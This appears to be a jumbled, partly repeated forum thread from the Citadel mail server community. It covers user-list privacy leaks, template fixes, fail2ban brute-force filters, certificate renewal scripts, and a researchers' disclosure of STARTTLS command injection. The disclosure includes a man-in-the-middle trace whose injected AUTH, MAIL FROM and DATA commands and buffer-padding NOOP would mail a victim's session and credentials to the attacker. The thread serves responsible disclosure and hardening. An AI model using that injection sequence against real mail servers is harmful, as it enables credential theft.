This moved the email in NewUser2's Draft folder, allowing access to the email's content.

-----------Website issue-----------

This is publicly available and contains personal photos (as well of minors)

https://photos.citadel.org/

The .git folder is available over the main website. This can be crawled and some of the commit made to the websites extracted. Luckily only commits to static pages were found, but this should be removed.

https://www.citadel.org/.git/

 Any question let me know.
I already requested four separated Common Vulnerabilities and Exposures numbers to Mitre.

Thanks

I've been thinking about this, and the coin eventually dropped..

No doubt that person was referring to.

do_template?template=user_list

which is a documented webcit page, not an exploit.  It shows the list of users on the system (every one of which would be a deliverable email account).   

It's under "Advanced".. "User List."

This page is not restricted by default.  It's available on any Webcit installation, logged in or not. Having this public is a problem in most cases..

It should, minimally be wrapped in  the ..'<?%("COND:LOGGEDIN". conditional structure... or, removed/replaced completely depending on the use-case. 

..it's on my list of things to get to..

The file is in:

/usr/local/webcit/static/t/user/list.html

Contents are

<?=("head")>
<div id="banner">
  <h1><?_("User list for ")> <?SERV:HUMANNODE("X")></h1>
</div>
<div id="content" class="service">

  <table class="userlist_background"><tr><td>
   <tr>
     <th><?_("User Name")></th>
     <th><?_("Number")></th>
     <th><?_("Access Level")></th>
     <th><?_("Last Login")></th>
     <th><?_("Total Logins")></th>
     <th><?_("Total Posts")></th>
   </tr>
   <?ITERATE("USERLIST", ="user_list_section")>
</table>

If it's a problem, you could always delete it.. or replace the contents with something like..

<p>Not allowed by current system security policy</p>

Mon Oct 12 2020 01:44:32 PM EDT from "s3cr3to" <s3cr3to@uncensored.citadel.org> Subject: Re: /summary displays logged-in users to the public [template fix]

Thank you warbaby, very interesting reply.

Just to clarify:
When I wrote "all the accounts on a Citadel server", I meant the email
accounts (not server users, nor email addresses).

That test gave a complete list of all the "mail accounts" on the server,
not just the ones connected; this facilitated the brute-force attack in
trying passwords to send e-mails.

I'm reading your fail2ban script, to start using it now that I already
put my network segments in whitelist. And now that you explained to me
how to unblock a banned IP, much better.


On 10/12/20 10:10 AM, warbaby wrote:

I'm going to answer this in a way that assumes a reader doesn't know
much about this topic, but please don't think I'm taking down to you.

[Other people will come along and read it, so I'm want be sure we have a
complete answer to follow...]

It is technically impossible to prevent user enumeration on a system
using known ports and a known protocol that responds to a request to

a) login or

b) send a message

to/for any specific user, with any kind of message of ""invalid
recipient" or "user/login not found". Or that even "shows" a user, or a
404 page if the user does not exist.

That pretty well describes SMTP, IMAP, XMPP (and to an extent, Citadel
itself, depending on how its configured).. and all kinds of other

 

Thanks for help!

.. we'll be working on this at some point not long from now.  I'll drop the files here and also see if we can get them out to the website..

Mon Oct 12 2020 11:20:41 AM EDT from "s3cr3to" <s3cr3to@uncensored.citadel.org> Subject: Re: A cleaner option for removing the "Who's Online" page listing..

I found another: iconbar

box_list_static.html
iconbar.html
summary.html

Without being logged in all 3 list the users connected via IMAP.

On 10/12/20 9:12 AM, s3cr3to wrote:

This template show the users too:
"who_summary"


On 10/2/20 4:42 PM, warbaby wrote:

This doesn't address the menu item, (which I'll address separately),
but will correct the reverse dns of the user's host from showing on
the "Who's Online" page..

Create this file:

/usr/local/webcit/static.local/t/who/box_list_static.html

[If this is not your webcit root, find webcit/static .. and
static.local goes right along side it. ]

Add the contents as shown in the attached file.

With the html shown, this could be a web/faq snippit..

I'm going to answer this in a way that assumes a reader doesn't know much about this topic, but please don't think I'm taking down to you.

[Other people will come along and read it, so I'm want be sure we have a complete answer to follow...]

It is technically impossible to prevent user enumeration on a system using known ports and a known protocol that responds to a request to

a) login or

b) send a message

to/for any specific user, with any kind of message of ""invalid recipient" or "user/login not found". Or that even "shows" a user, or a 404 page if the user does not exist.

That pretty well describes SMTP, IMAP, XMPP (and to an extent, Citadel itself, depending on how its configured).. and all kinds of other services.. 

So, given enough time, and enough usernames (I have lists of several million, there are lists up to 500 million, they can even be generated with every character possible to any given length.. "rainbow tables" in a sense..)

Therefore, given "enough time" and "enough names" anybody can enumerate your user list. 

This is not specifically a problem.  A username isn't a real identity, (or, doesn't have to be one). And it's not a physical location.  So user@machine can and should be considered somewhat public information, unless you're in a completely enclosed system, consider your username to be more or less public, and don't disclose any details about yourself in your username!

Nobody should be relying on a remote server to keep their username private, when the reason for the remote server is to allow others to send a message to them. A system that communicates publicly (such as over SMTP) has to be "public", and it can't be both hidden and public at the same time.

Those issues are not anything wrong with or inherent to Citadel.  It's the same with any mail and many other kinds of servers.

[I once logged into a Law Office's Exchange server by telnet!  It told me "Disk out of space." So, I let them know why they weren't getting my emails.. Kind of freaked them out, but that's what SMTP is for.. it gives messages about status and deliverability..]

The issue I was addressing with the template fix was more related to the average operator and average use case scenario. 

The average person who is evil on a message board is probably not actually an evil programmer with a big list of names, and if he is, you can't defend against him with those fixes.

Although it's true certain sinister people can exhibit abnormally criminal brilliance at times.. They are not normally capable of that kind of trouble.

Some Citadel admins might like to prevent simple info-disclosure, and not make it easy for the normal-grade bad guy to collect information about users.

So, that's the reason for the template fix. None of those things are truly "User enumeration".

There have been a few fixes.  You might just call them alternate templates.

Eventually we'll get them together where you can download, and install into static.local, with a description of exactly what they do.

The main point behind the latest one was..

* Removing the display of the remote host information (ip or reverse ip), which is nowadays, much more exploitable for bad purposes by the non-technologically competent.  Anybody can look these ip addresses up, and start to gather information about other users.. where they live, their service provider, even .. in some cases, divulging all that is needed to find a real-time physical location..

But looking ahead, there are likely many use cases where "Who is online" is not an appropriate whatsoever.. So, we'll come up with some template patches for that.

Citadel is supposed to be a fun system, where you can hang out with your friends.. though not all installations are used like that..

[Also, with IMAP logins, they show as "online", but they are not technically "present" for chat and such..]

So, at some point I'll work on some templates for static.local that remove/restrict "who is online" so people interested can use them.

The old user enumeration emails you're referring to were probably something pertaining to "host based authentication"... which were not truly citadel problems, but host problems.

Those problems are why it's good to setup fail2ban on your servers and restrict how long and hard someone can hammer at your ssh accounts.

But if there was actually a user showing how he could enumerate all the accounts on a Citadel system, he wasn't doing anything difficult or even unheard of.

Facebook, Twitter and Instagram users can be "enumerated".. all of their IDs are public.. Gmail users can be enumerated also.. even located by integer id.

So we want to distinguish between enumerating users who are logged into the system, and who many not want to disclose from real "user enumeration".

Hopefully, I didn't wear you out, and somewhat answered your question.

I mean to distinguish between what is "appropriate" for "use-case" and what is an actual vulnerability.

Still active?  According to a number of the protocols/services/ports provided by Citadel, yes you can find out if a user exists on a system in a number of ways.

Potentially dangerous?  Not any more dangerous than any other service that does the same thing, which means, most other services. 

Fri Oct 09 2020 01:50:00 PM EDT from "s3cr3to" <s3cr3to@uncensored.citadel.org> Subject: Re: /summary displays logged-in users to the public [template fix]

Hi

A few years ago, a user sent an email demonstrating how he could obtain
a complete list of all the accounts on a Citadel server, something
similar to the "Who's online" list, but more serious in my opinion.
Unfortunately, I lost that mail in one of the mail purges that took
place in uncensored. And since I had changed from POP to IMAP on that
occasion, I don't have that information in my mail.

So I guess that's still active and potentially dangerous.

Translated with www.DeepL.com/Translator (free version)

Regards



On 6/15/20 9:34 PM, IGnatius T Foobar wrote:

Does the /summary page display logged-in users even on a site that is configured
to require login?

Unfortunately I must admit that I have a lot of difficulty with WebCit, because
a lot of people made a lot of changes to it and I sort of lost track of how
it works. It's never been a great design, because in 1996 when it was first
built I really had no idea what I was doing :) That's one reason we
are starting over with webcit-ng.

This doesn't address the menu item, (which I'll address separately), but will correct the reverse dns of the user's host from showing on the "Who's Online" page.. 

Create this file: 

/usr/local/webcit/static.local/t/who/box_list_static.html

[If this is not your webcit root, find webcit/static .. and static.local goes right along side it. ]

Add the contents as shown in the attached file.

With the html shown, this could be a web/faq snippit..

Awesome! I'll (git) check it out also. 

Thank you!

Wed Sep 30 2020 07:02:59 PM EDT from IGnatius T Foobar Subject: Re: /summary displays logged-in users to the public [template fix]

My gut on the Webcit issue, and has been for a long time, is that we need

another an abstraction layer, a restful Server Returning JSON. Something

we

can use with Nginx, like with the Lua Module, or hp-fpm..

When I have some more time I'll digest the rest of your remarks, but as for this one --

WebCit is already moving to REST/JSON. Check out the webcit-ng code in the git repository. It follows the modern development style of a web application that loads static pages, executes on the client side, and makes REST calls to the server, rendering the results locally.

It ... just isn't finished yet :)

I would like your test script also.  I have a testing environment all set up for this. 

Thu Aug 13 2020 06:16:27 AM EDT from Murgi Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP

Hey,

have you found the time to take a look at this yet?

Wed Aug 05 2020 04:07:31 EDT from Murgi Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP

 

Tue Aug 04 2020 09:26:49 EDT from IGnatius T Foobar Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP

Can you explain a little further what happens after the command injection?
If you want to send the test script privately, you can PM it to me here.
I'd be interested in seeing what happens next on a Citadel implementation.

I'm sure that if a man-in-the-middle attack is possible we can mitigate it pretty easily. Thanks.

 

Sure! In essence this is what the trace of a real MitM attack would look like (C: Client, S: Server, A: Attacker):

S: 220 ebb7034d4bf5 ESMTP Citadel server ready.
C: EHLO localhost
S: b'250-Hello localhost (172.17.0.1 [172.17.0.1])\r\n250-HELP\r\n250-SIZE 10485760\r\n250-AUTH LOGIN PLAIN\r\n250-AUTH=LOGIN PLAIN\r\n250 8BITMIME\r\n'
A: NOOP A*2000
S: 250 NOOP\r\n'
Sending 'STARTTLS\r\nEHLO localhost\r\nAUTH LOGIN\r\nYXR0YWNrZXI=\r\nYXR0YWNrZXJwYXNz\r\nMAIL FROM: <attacker@example.org>\r\nRCPT TO: <attacker@example.org>\r\nDATA\r\nSubject: This is user data!\r\n\r\n' in one packet ...
A: 'STARTTLS\r\nEHLO localhost\r\nAUTH LOGIN\r\nYXR0YWNrZXI=\r\nYXR0YWNrZXJwYXNz\r\nMAIL FROM: <attacker@example.org>\r\nRCPT TO: <attacker@example.org>\r\nDATA\r\nSubject: This is user data!\r\n\r\n'
S: 220 Begin TLS negotiation now
<--- TLS connected --->
-----Found command injection here!----
S: 250-Hello localhost (172.17.0.1 [172.17.0.1]) -- encrypted
S: 250-HELP -- encrypted
S: 250-SIZE 10485760 -- encrypted
S: 250-AUTH LOGIN PLAIN
250

And the corresponding log:

citserver[123]: context: session (SMTP-MTA) started from 172.17.0.1 (172.17.0.1) uid=-1
citserver[123]: SMTP server: EHLO localhost
citserver[123]: SMTP server: NOOP AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

So the user attacker uses the injection to log in, prepares a mail to themselves (using MAIL FROM, RCPT TO, and DATA). These commands get buffered into the encrypted stream. Now the actual client (alice) sends their commands, but everything is interpreted inside the DATA verb, which is finally closed by the . sent by alice.
The responses to the injections by citadel directly after the handshake will be interpreted as the answers to alice commands (this can be fine tuned in a real MitM scenario by delaying records on a TLS level if necessary, but most clients are fine with this). Finally, the attacker will receive an e-mail from themselves containing the contents of alice's session (including their credentials).

Note: As you can see I am first sending NOOP with a lot of As after it. This is to increase the receive buffer size to make room for the injection.

I have attached a .pcap file of the SMTP connection and will be sending you the test script privately.

Note: Wireshark will not get what is happening after the injection and display only garbage. As a workaround, you can right click an SMTP packet->protocol preferences->Disable SMTP. The TLS records will then be displayed correctly. To restore SMTP later click Analyze->Enabled Protocols and search for SMTP.

 

/etc/letsencrypt/live/<you.tld> must be owned by root.

Therefore you can't just link to them from your citadel keys dir.

They must be copied. 

I use something like this (below).

[take a good look before you run it.. it's not exactly what I run, but more for show.. make sure it's an accurate representation of where your files are.. ]

#!/bin/bash
# mv-keys-to-citadel.sh
if [[ $# -eq 0 ]] ; then
    echo 'I need a domain related to a cert in /etc/letsencrypt/live';
    echo "Like one of these";
    echo "`ls -alh /etc/letsencrypt/live`";
    exit 0
   fi

DOMAIN=$1;
CIT_CERT_DIR="/usr/local/citadel/keys"; # Citadel Server
WEB_CERT_DIR="/usr/local/webcit/keys"; # Webcit
cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" "$CIT_CERT_DIR/citadel.cer"
cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" "$CIT_CERT_DIR/citadel.key"
cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" "$WEB_CERT_DIR/citadel.cer"
cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" "$WEB_CERT_DIR/citadel.key"
chown -R citadel:root "$CIT_CERT_DIR"
chown -R citadel:root "$WEB_CERT_DIR"

THEN.. just add this to your cron job that automates the renewal.  or maybe put a wrapper around both. 

once everything is configured its just... 

#!/bin/bash
certbot renew
mv-keys-to-citadel.sh mydomain.tld

Now you've got permanent, free ssl.

There are a lot of alternative methods of authentication for certbot. 

Those http requests to .well_known are buggy, problematic, and a constant fight with Barron von Munchausen (damons, configs, servers, turn it off, in order to turn it on kind of thing.. ). 

BUT.. based on my reading of the "self-signed certificates" thread.. one thing is not coming out clearly.  

Those problems only happen at 2 particular times:

1) When you initially create a cert.

2) When you expand or renew one.

So, it isn't like the problem is there all the time. Nothing is running constantly.

Once you have the cert, you can just comment out the lines in your nginx/apache config, restart and then it's business as usual, for 90 more days.

It's a little tricky automating renewal on a citadel box, but it's definitely do-able.  I am doing it. 

One of the tricks is to use one of the certbot plugins, cloudflare-dns or something like that. 

It's much easier, and much more reliable once it's configured.

Hi .. sorry, I just saw this.. the answer is no, I don't think I saw that.  But, in the case of a self-registration system, it would be trivial to be evil with that remote host information. 

You of all people have no need to apologize!  I hope none of this is coming across as criticism..  Just trying to clamp down some holes on my own boxes.

My gut on the Webcit issue, and has been for a long time, is that we need another an abstraction layer, a restful Server Returning JSON. Something we can use with Nginx, like with the Lua Module, or hp-fpm..

I tried it with the BabyCitadel thing quite a while ago.. and not long ago  there was a guy who wrote a great big Citadel API thing for Node.js. He posted a link to it in the support room.  It's quite interesting.  I grabbed the code.

I think once we have that.. all the UI issues will become clear..   But I can't see much good happening without clearly defined endpoints (URIs) and structured data with indexes.  Nobody is that good anymore. 

Mon Jun 15 2020 11:34:47 PM EDT from IGnatius T Foobar Subject: Re: /summary displays logged-in users to the public [template fix]

Does the /summary page display logged-in users even on a site that is configured to require login?

Unfortunately I must admit that I have a lot of difficulty with WebCit, because a lot of people made a lot of changes to it and I sort of lost track of how it works. It's never been a great design, because in 1996 when it was first built I really had no idea what I was doing :) That's one reason we are starting over with webcit-ng.

In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]

install fail2ban according to the way you do it for you..

Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .

The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. 

It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..

[This will take time, and we can use any/all help.]

But, this will definitely stop the brute forcing.  I banned & blocked myself several times with it last night.. :)

1) Add this filter (maybe in /etc/fail2ban/filter.d/citadel.conf, or whatever suits your setup)

[Follow down below, more after the file.. ]

##

# Fail2Ban filter for citadel (citserver)
#
# Citadel should default to log incorrect passwords by <service>. This SHOULD
# include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.
# but has only been tested for webcit, and smtp..

[INCLUDES]

before = common.conf

[Definition]

_daemon = citserver

# Option:  failregex
# Notes.:  regex to match yer password failures messages in yer logfile.
# Values:  TEXT

failregex = ^%(__prefix_line)suser_ops: bad password specified for <[^>]+> Service <[^>]+> Port <[^>]+> Remote <<HOST>

# Option:  ignoreregex
# Notes.:  regex to ignore. If this regex matches, the line is ignored.
# Values:  TEXT
#
ignoreregex =

###

2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]

[citadel] 
bantime = 1h 
logpath = /var/log/syslog

3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )

[sshd]
enabled = true

[citadel]
enabled = true

4) Restart fail2ban, however you like to do it.  maybe:

service fail2ban restart

5) Check to see if your new jail is active..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status
Status
|- Number of jail:    2
`- Jail list:    citadel, sshd

6) Check for bans..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel
Status for the jail: citadel
|- Filter
|  |- Currently failed:    0
|  |- Total failed:    225
|  `- File list:    /var/log/syslog
`- Actions
   |- Currently banned:    25
   |- Total banned:    225
   `- Banned IP list:    ....

I'll try to get a proper procedure written for you sometime ...

Hey,

have you found the time to take a look at this yet?

Wed Aug 05 2020 04:07:31 EDT from Murgi Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP

 

Tue Aug 04 2020 09:26:49 EDT from IGnatius T Foobar Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP

Can you explain a little further what happens after the command injection?
If you want to send the test script privately, you can PM it to me here.
I'd be interested in seeing what happens next on a Citadel implementation.

I'm sure that if a man-in-the-middle attack is possible we can mitigate it pretty easily. Thanks.

 

Sure! In essence this is what the trace of a real MitM attack would look like (C: Client, S: Server, A: Attacker):

S: 220 ebb7034d4bf5 ESMTP Citadel server ready.
C: EHLO localhost
S: b'250-Hello localhost (172.17.0.1 [172.17.0.1])\r\n250-HELP\r\n250-SIZE 10485760\r\n250-AUTH LOGIN PLAIN\r\n250-AUTH=LOGIN PLAIN\r\n250 8BITMIME\r\n'
A: NOOP A*2000
S: 250 NOOP\r\n'
Sending 'STARTTLS\r\nEHLO localhost\r\nAUTH LOGIN\r\nYXR0YWNrZXI=\r\nYXR0YWNrZXJwYXNz\r\nMAIL FROM: <attacker@example.org>\r\nRCPT TO: <attacker@example.org>\r\nDATA\r\nSubject: This is user data!\r\n\r\n' in one packet ...
A: 'STARTTLS\r\nEHLO localhost\r\nAUTH LOGIN\r\nYXR0YWNrZXI=\r\nYXR0YWNrZXJwYXNz\r\nMAIL FROM: <attacker@example.org>\r\nRCPT TO: <attacker@example.org>\r\nDATA\r\nSubject: This is user data!\r\n\r\n'
S: 220 Begin TLS negotiation now
<--- TLS connected --->
-----Found command injection here!----
S: 250-Hello localhost (172.17.0.1 [172.17.0.1]) -- encrypted
S: 250-HELP -- encrypted
S: 250-SIZE 10485760 -- encrypted
S: 250-AUTH LOGIN PLAIN
250

And the corresponding log:

citserver[123]: context: session (SMTP-MTA) started from 172.17.0.1 (172.17.0.1) uid=-1
citserver[123]: SMTP server: EHLO localhost
citserver[123]: SMTP server: NOOP AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

So the user attacker uses the injection to log in, prepares a mail to themselves (using MAIL FROM, RCPT TO, and DATA). These commands get buffered into the encrypted stream. Now the actual client (alice) sends their commands, but everything is interpreted inside the DATA verb, which is finally closed by the . sent by alice.
The responses to the injections by citadel directly after the handshake will be interpreted as the answers to alice commands (this can be fine tuned in a real MitM scenario by delaying records on a TLS level if necessary, but most clients are fine with this). Finally, the attacker will receive an e-mail from themselves containing the contents of alice's session (including their credentials).

Note: As you can see I am first sending NOOP with a lot of As after it. This is to increase the receive buffer size to make room for the injection.

I have attached a .pcap file of the SMTP connection and will be sending you the test script privately.

Note: Wireshark will not get what is happening after the injection and display only garbage. As a workaround, you can right click an SMTP packet->protocol preferences->Disable SMTP. The TLS records will then be displayed correctly. To restore SMTP later click Analyze->Enabled Protocols and search for SMTP.

Tue Aug 04 2020 09:26:49 EDT from IGnatius T Foobar Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP

Can you explain a little further what happens after the command injection?
If you want to send the test script privately, you can PM it to me here.
I'd be interested in seeing what happens next on a Citadel implementation.

I'm sure that if a man-in-the-middle attack is possible we can mitigate it pretty easily. Thanks.

Sure! In essence this is what the trace of a real MitM attack would look like (C: Client, S: Server, A: Attacker):

S: 220 ebb7034d4bf5 ESMTP Citadel server ready.
C: EHLO localhost
S: b'250-Hello localhost (172.17.0.1 [172.17.0.1])\r\n250-HELP\r\n250-SIZE 10485760\r\n250-AUTH LOGIN PLAIN\r\n250-AUTH=LOGIN PLAIN\r\n250 8BITMIME\r\n'
A: NOOP A*2000
S: 250 NOOP\r\n'
Sending 'STARTTLS\r\nEHLO localhost\r\nAUTH LOGIN\r\nYXR0YWNrZXI=\r\nYXR0YWNrZXJwYXNz\r\nMAIL FROM: <attacker@example.org>\r\nRCPT TO: <attacker@example.org>\r\nDATA\r\nSubject: This is user data!\r\n\r\n' in one packet ...
A: 'STARTTLS\r\nEHLO localhost\r\nAUTH LOGIN\r\nYXR0YWNrZXI=\r\nYXR0YWNrZXJwYXNz\r\nMAIL FROM: <attacker@example.org>\r\nRCPT TO: <attacker@example.org>\r\nDATA\r\nSubject: This is user data!\r\n\r\n'
S: 220 Begin TLS negotiation now
<--- TLS connected --->
-----Found command injection here!----
S: 250-Hello localhost (172.17.0.1 [172.17.0.1]) -- encrypted
S: 250-HELP -- encrypted
S: 250-SIZE 10485760 -- encrypted
S: 250-AUTH LOGIN PLAIN
250

And the corresponding log:

citserver[123]: context: session (SMTP-MTA) started from 172.17.0.1 (172.17.0.1) uid=-1
citserver[123]: SMTP server: EHLO localhost
citserver[123]: SMTP server: NOOP AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

So the user attacker uses the injection to log in, prepares a mail to themselves (using MAIL FROM, RCPT TO, and DATA). These commands get buffered into the encrypted stream. Now the actual client (alice) sends their commands, but everything is interpreted inside the DATA verb, which is finally closed by the . sent by alice.
The responses to the injections by citadel directly after the handshake will be interpreted as the answers to alice commands (this can be fine tuned in a real MitM scenario by delaying records on a TLS level if necessary, but most clients are fine with this). Finally, the attacker will receive an e-mail from themselves containing the contents of alice's session (including their credentials).

Note: As you can see I am first sending NOOP with a lot of As after it. This is to increase the receive buffer size to make room for the injection.

I have attached a .pcap file of the SMTP connection and will be sending you the test script privately.

Note: Wireshark will not get what is happening after the injection and display only garbage. As a workaround, you can right click an SMTP packet->protocol preferences->Disable SMTP. The TLS records will then be displayed correctly. To restore SMTP later click Analyze->Enabled Protocols and search for SMTP.

Hello,

during our research in e-mail servers at Münster University of Applied Sciences, we found some security issues in the STARTTLS implementation of the current version of Citadel.

Description

These issues potentially allow a meddler-in-the-middle (MitM) attacker to leak user credentials by injecting plaintext commands into the encrypted TLS stream. This vulnerability was first described by Wietse Venema for Postfix in 2011 (http://www.postfix.org/CVE-2011-0411.html). We found that Citadel is vulnerable to this kind of injection in IMAP, POP3, and SMTP. Basically, by injecting plaintext commands between the STARTTLS command an the TLS Handshake, a MitM can cause theirs plaintext commands to be interpreted in the encrypted context. See these SMTP trace from Citadel for example:

Normal:
 S: 220 ebb7034d4bf5 ESMTP Citadel server ready.
 C: EHLO buftest
 S: 250-Hello buftest (172.17.0.1 [172.17.0.1])
 S: 250-HELP
 S: 250-SIZE 10485760
 S: 250-STARTTLS
 S: 250-AUTH LOGIN PLAIN
 S: 250-AUTH=LOGIN PLAIN
 S: 250 8BITMIME
 C: STARTTLS
 S: 220 Begin TLS negotiation now
 <----- TLS Handshake ----->
 C: QUIT
 S: 221 Goodbye...

With command injection:

 S: 220 ebb7034d4bf5 ESMTP Citadel server ready.
 C: EHLO buftest
 S: 250-Hello buftest (172.17.0.1 [172.17.0.1])
 S: 250-HELP
 S: 250-SIZE 10485760
 S: 250-STARTTLS
 S: 250-AUTH LOGIN PLAIN
 S: 250-AUTH=LOGIN PLAIN
 S: 250 8BITMIME
 C: STARTTLS
 A: NOOP
 S: 220 Begin TLS negotiation now
 <----- TLS Handshake ----->
 S: 250 NOOP
 - Command injection here!

As you can see, the attacker injected NOOP command (A: NOOP) is interpreted by citadel inside the encrypted context, even though it was sent in plain. The same is possible for POP3 and IMAP.

Proof of Concept

As this is a vulnerability affecting multiple vendors/servers, I can currently not publicly disclose our test script for this. However, I can send it to the developers privately if requested.

Security Impact

For SMTP and IMAP, this vulnerability can be used to leak user credentials to an attacker, e.g., by enclosing them into an e-mail send to the attacker by injecting the MAIL FROM, RCPT TO, and DATA verbs into the encrypted session. Additionally, this vulnerability can be used for cross-protocol attacks on server sharing a TLS certificate with citadel. In IMAP this can, for example, be used to host HTTPS without actually attacking TLS. In POP3, fortunately, the impact is currently limited, but this vulnerability might be used in more elaborate attacks.

Best regards,
Murgi

Hi,

since this is a public service, it shouldn't use a self-signed SSL certificate. With the rise of LetsEncrypt it's quite easy nowadays to obtain an official certificate for free. Just install certbot and follow usage instructions on the LetsEncrypt web page. And since it's a cert "bot", it will also renew the certificate automatically before it expires.

I found this one right out of the gate.  It's really more of a privacy problem, but does pertain to user enumeration.

Steps to reproduce,

1) log out of webcit.

2) visit with browser .. scheme://yourwebcit.ext/summary

3) See a list of logged in users. [This view of "Who's Online" doesn't expose IP address, but still.. probably not cool.]

My fix: 

mkdir /usr/local/webcit/static.local/t/summary
cd /usr/local/webcit/static.local/t/summary

# Now, type, paste or create the file "page.html", my version is shown below. 
# It ain't stock webcit, just the very basics. 
# Or, feel free to start with a copy of 
# /usr/local/webcit/static/t/summary/page.html
# 
# Some theoretical contents for "page.html"

# Doesn't solve the display of top banner, but DOES prevents the info leak. 

<div style="margin:20px;">
   <?!("COND:LOGGEDIN",1)>
      <?_("Not logged in.")>
   <??("X",1)>
   <??("COND:LOGGEDIN",1)>
